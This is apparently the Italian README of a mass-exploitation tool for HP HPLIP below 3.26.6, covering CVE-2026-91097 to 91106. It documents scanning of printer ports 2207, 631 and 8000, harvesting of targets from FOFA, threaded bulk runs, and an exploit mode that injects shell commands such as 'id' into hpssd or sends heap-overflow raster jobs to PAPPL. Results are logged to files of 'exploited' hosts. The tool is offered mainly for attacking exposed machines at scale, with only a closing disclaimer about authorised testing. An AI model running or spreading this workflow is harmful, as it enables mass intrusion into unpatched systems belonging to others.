
Controllo/ricerca massiva di exploit per HP HPLIP CVE-2026-91097–91106 (<3.26.6), sonde IPP PAPPL :8000 + template hpssd
Driver per check massivo e ricerca exploit per HP HPLIP < 3.26.6 — da CVE-2026-91097 a CVE-2026-91106.
| CVE | CVSS 4 | CWE | Remoto |
|---|---|---|---|
| CVE-2026-91097 | 7.0 | CWE-787 | sì (UI) |
| CVE-2026-91098 | 8.6 | CWE-122 | sì (UI) |
| CVE-2026-91099 | 5.1 | CWE-61 | locale |
| CVE-2026-91100 | 6.8 | CWE-78 | locale |
| CVE-2026-91102 | 8.4 | CWE-78 | locale |
| CVE-2026-91101 | 5.1 | CWE-129 | fisico |
| CVE-2026-91103 | 5.1 | CWE-191 | fisico |
| CVE-2026-91104 | 9.3 | CWE-122 | sì |
| CVE-2026-91105 | 8.6 | CWE-122 | sì (UI) |
| CVE-2026-91106 | 9.3 | CWE-122 | sì |
Corretto: HPLIP 3.26.6+
| Superficie | Rilevamento | Note exploit |
|---|---|---|
hpssd :2207 | TCP + sonda XML | template cmd-injection -c id (stile hpssd legacy) |
CUPS/IPP :631 | Sonda HTTP | Catalogo / fingerprint |
HPLIP Printer Application :8000+ | UI HTTP PAPPL + stringa di versione | IPP Print-Job + ricerca raster PWG (ZDI-26-656 / PAPPL < 1.4.12) — non output shell su HTTP |
I risultati FOFA body="hplip" sono spesso :8000 PAPPL, non :2207. Usa host:port nelle liste di target.
--flow)
pip install -r requirements.txtpip install -r requirements.txt
# Target singolo (porte predefinite 631, 2207, 9100 se non specificata la porta)
python poc.py -u 192.0.2.10 --mode check
# Porta FOFA (consigliato)
python poc.py -u 192.0.2.10:8000 --mode check --flow
# Massivo — tutte le 10 CVE
python poc.py --list targets.example.txt --mode check -j 30 -q --flow
# Solo CVE heap di rete critiche
python poc.py --list list_hplip_printer.txt --mode check --cve CVE-2026-91104,CVE-2026-91106
# Ricerca exploit (PAPPL su :8000 → IPP raster; -c id ha senso solo su hpssd:2207)
python poc.py -u 192.0.2.10:8000 --mode exploit --cve CVE-2026-91106
python poc.py -u 192.0.2.10:2207 --mode exploit --cve CVE-2026-91100 -c id
# Salva l'export come fofa_csv_1049.csv (oppure passa -i)
python fofa_to_list.py
# list.txt (tutti) + list_hplip_printer.txt (indizio titolo = HPLIP Printer Application)
python poc.py --list list_hplip_printer.txt --mode check -j 30 --flow
192.0.2.10:8000
192.0.2.11:2207
192.0.2.12|CVE-2026-91106
Le righe con |CVE… usano la parte prima di | come host (indizio CVE opzionale per l'output dei risultati).
| Opzione | Descrizione |
|---|---|
-u / --url | Host, host:port, o http://host:port |
--list | Un target per riga |
--mode | check o exploit |
--cve | all o id CVE separati da virgola |
-c / --command | Comando shell (solo tentativi cmd-injection hpssd) |
--heap-size | Dimensione sonda heap TCP raw (predefinito 8192) |
--threads, -j | Concorrenza massiva (predefinito 20) |
--timeout | Timeout per target in secondi (predefinito 8) |
--flow, -f | Una riga di risultato per target |
--output | JSONL (predefinito massexploit_results.jsonl) |
--vuln-list | hits.txt (check) o exploited.txt (exploit) |
| File | Contenuto |
|---|---|
massexploit_results.jsonl | JSON completo per host |
hits.txt | Candidati (host|cve,…) |
status comuni del check| Status | Significato |
|---|---|
hplip_surface_candidate | Porta aperta + mapping versione/CVE |
network_surface_version_unknown | TCP aperto, HPLIP/PAPPL probabile, versione non leggibile |
no_open_ports | Nulla raggiungibile sulle porte scansionate |
patched_version | Versione HPLIP ≥ 3.26.6 |
| Status | Significato |
|---|---|
pappl_raster_sent_no_shell_output | IPP/raster inviato sulla porta PAPPL; nessun id in HTTP (classe heap RCE) |
exploit_attempted_no_confirm | Tentativo effettuato, nessuna verifica |
exploited | Solo se la risposta corrisponde alle euristiche cmd-injection (raro) |
.
├── poc.py
├── cve_catalog.py
├── hplip_probes.py
├── hplip_exploit.py
├── pappl_ipp.py
├── pappl_raster.py
├── fofa_to_list.py
├── image.png
├── targets.example.txt
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore
--cve all ma non sfruttabili da remoto su larga scala.Solo per test di sicurezza autorizzati. Sei responsabile del rispetto delle leggi applicabili e delle regole del programma.